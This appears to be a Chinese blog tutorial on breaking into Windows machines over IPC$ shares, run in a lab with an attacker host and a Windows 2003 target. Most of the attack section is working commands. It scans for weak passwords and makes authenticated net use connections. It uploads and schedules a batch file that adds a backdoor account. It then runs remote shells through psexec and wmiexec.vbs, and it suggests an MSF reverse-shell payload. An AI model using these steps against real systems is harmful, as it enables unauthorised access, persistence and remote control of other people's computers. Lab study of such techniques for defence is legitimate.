IPC$入侵大全

本是古典何须时尚 2024-04-07 11:03 28阅读 0赞

#### 0x01 ipc$的定义 ####

IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的)，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的)，而利用这个空的连接，连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。

#### 0x02 ipc$与空连接,139,445端口,默认共享的关系 ####

##### ipc$与空连接: #####

不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.

许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).

##### ipc$与139,445端口: #####

ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.

##### ipc$与默认共享 #####

默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)

#### 0x03 ipc$入侵实战 ####

1.实验环境：

.攻击机：win7x64 IP:192.168.1.101

靶机： win2003 ip:192.168.1.108

2.通过扫描器扫描IPC$弱口令连接：

这里推荐大家用ntscan或者溯雪和x-scan，porscan等扫描器

![09538ba33cae09235c783d435581ff18.png][]

3.通过net use 建立一个非空连接：

连接域backlion的ipc$:

net  use  \\192.168.1.108\c$  “12345@12345qw” /user:backlion\administrator
    
    net use  \\192.168.1.108\c$   123456   /user:administrator  //建立的非空连接
    
    或者
    
    net  use  \\192.168.1.108\c$  " 123456"  /user:administrator  //建立的非空连接
    
    net  use \\192.168.1.108\c$   ""     /user:administrator  //空连接，无密码

![e9bc03bd5ef6706178a0a2302ae5731f.png][]

4.这里准备上传一个建立bk账号的批处理：

d:\user.bat  文件内容为：net user  bk   bk123   /add

![dd1bb3f90718b230bf314e34348606c6.png][]

注：这里也可以上传MSF下生成的exe，上传到靶机上执行，然后反弹出shell，更能很好地操作。

5.通过copy命令上传本地攻击机的批处理文件到目标靶机的c$上，也就是靶机的c:\\

copy    user.bat     \\192.168.1.108\c$

![f59fe107e758e9c9406acabcfe627efb.png][]

注意：文件下载

copy  \\192.168.1.108\c$\user.bat  user.bat

6.查看目标靶机的时间：

net time  \\192.168.1.108

![5ef5d4b104c0677686836f4a1b965d1f.png][]

7.通过at命令在特定时间执行批处理文件：

at  \\192.168.1.108  12:13:00   c:\user.bat

![179205805d76f624f4a09a7ae2af8eac.png][]

6.在目标靶机上发现账号已成功添加执行：

![317e8ed68930e469db895f5ec80774b1.png][]

8.其他命令：

将目标共享建立一个映射Z盘：

net use z: \\192.168.1.108\c$

![611bab157d2c76f6756b0e89214d087f.png][]

查看已建立的会话：

net use

![3fdc110dfe91e0ed6fc84e9cc6c0ae65.png][]

删除会话连接：

![64d73a08fdb6ca9702b76e1aa6e71eed.png][]

9.通过psexec工具进行会话连接执行

psexec.exe  \\192.168.1.108   cmd  //前提是需要建立一个空连接或者非空连接

![7b6554541c3b96ea3e242421a86d9f6d.png][]

psexec.exe  \\192.168.1.108   cmd  -u  administrator   -p  123456  //不需要建立空连接

![6e7a651d1aadfecbe6eb6f423ec88403.png][]

然后就可以在目标靶机上任意执行命令：

![fc9455429d390f92d0c5692de9c8d28a.png][]

10.通过wmiexec.vbs进行远程会话执行：

csript.exe  wmiexec.vbs   /shell   192.168.1.108   administrator   123456

![6aaf02764bf39ea4268798ac56c6b641.png][]

然后执行一些系统命令：

![e1e0ec8cb81b2edb28177db01e8af87f.png][]

#### 0x04 ipc$连接失败的原因 ####

以下5个原因是比较常见的:  
1)你的系统不是NT或以上操作系统;  
2)对方没有打开ipc$默认共享  
3)对方未开启139或445端口(惑被防火墙屏蔽)  
4)你的命令输入有误(比如缺少了空格等)  
5)用户名或密码错误(空连接当然无所谓了)  
另外,你也可以根据返回的错误号分析原因：  
错误号5，拒绝访问 ： 很可能你使用的用户不是管理员权限的，先提升权限；  
错误号51，Windows 无法找到网络路径 : 网络有问题；  
错误号53，找不到网络路径 ： ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙(端口过滤)；  
错误号67，找不到网络名 ： 你的lanmanworkstation服务未启动；目标删除了ipc$；  
错误号1219，提供的凭据与已存在的凭据集冲突 ： 你已经和对方建立了一个ipc$，请删除再连。  
错误号1326，未知的用户名或错误密码 ： 原因很明显了；  
错误号1792，试图登录，但是网络登录服务没有启动 ： 目标NetLogon服务未启动。(连接域控会出现此情况)  
错误号2242，此用户的密码已经过期 ： 目标有帐号策略，强制定期要求更改密码。  
关于ipc$连不上的问题比较复杂，除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验

[09538ba33cae09235c783d435581ff18.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/af16a825d0f24a5c99d0c97a395e3aef.png
[e9bc03bd5ef6706178a0a2302ae5731f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/710a97b945914dffab084cb2febf5638.png
[dd1bb3f90718b230bf314e34348606c6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0c628f64773e46129eb7efec5738cd42.png
[f59fe107e758e9c9406acabcfe627efb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c9fb8a68fcba488b8531322152e7b558.png
[5ef5d4b104c0677686836f4a1b965d1f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/eca11c0085cd4b4c9a081de6594cf562.png
[179205805d76f624f4a09a7ae2af8eac.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7752231638e9405ea45e96a97e6d83c4.png
[317e8ed68930e469db895f5ec80774b1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6902aa49cbd34340a21dd8503fdbce79.png
[611bab157d2c76f6756b0e89214d087f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0b6e45dd1c4342edb33c5ea434af21b6.png
[3fdc110dfe91e0ed6fc84e9cc6c0ae65.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/cef1d862c8f641318229c28e2f5a9ef0.png
[64d73a08fdb6ca9702b76e1aa6e71eed.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/20d597dbca4646f39571cfaa9e416c50.png
[7b6554541c3b96ea3e242421a86d9f6d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4b2e84da87a44195b711deadb0afe5a4.png
[6e7a651d1aadfecbe6eb6f423ec88403.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a5b339e680764c72b3ea783fbee8d1ac.png
[fc9455429d390f92d0c5692de9c8d28a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/cd222b887da14ca490866c61dbe0ecef.png
[6aaf02764bf39ea4268798ac56c6b641.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/88d1cd3c30134c45a5fb68523fa5b47b.png
[e1e0ec8cb81b2edb28177db01e8af87f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/69d9498283fb48a2a9448a4dcd284ba8.png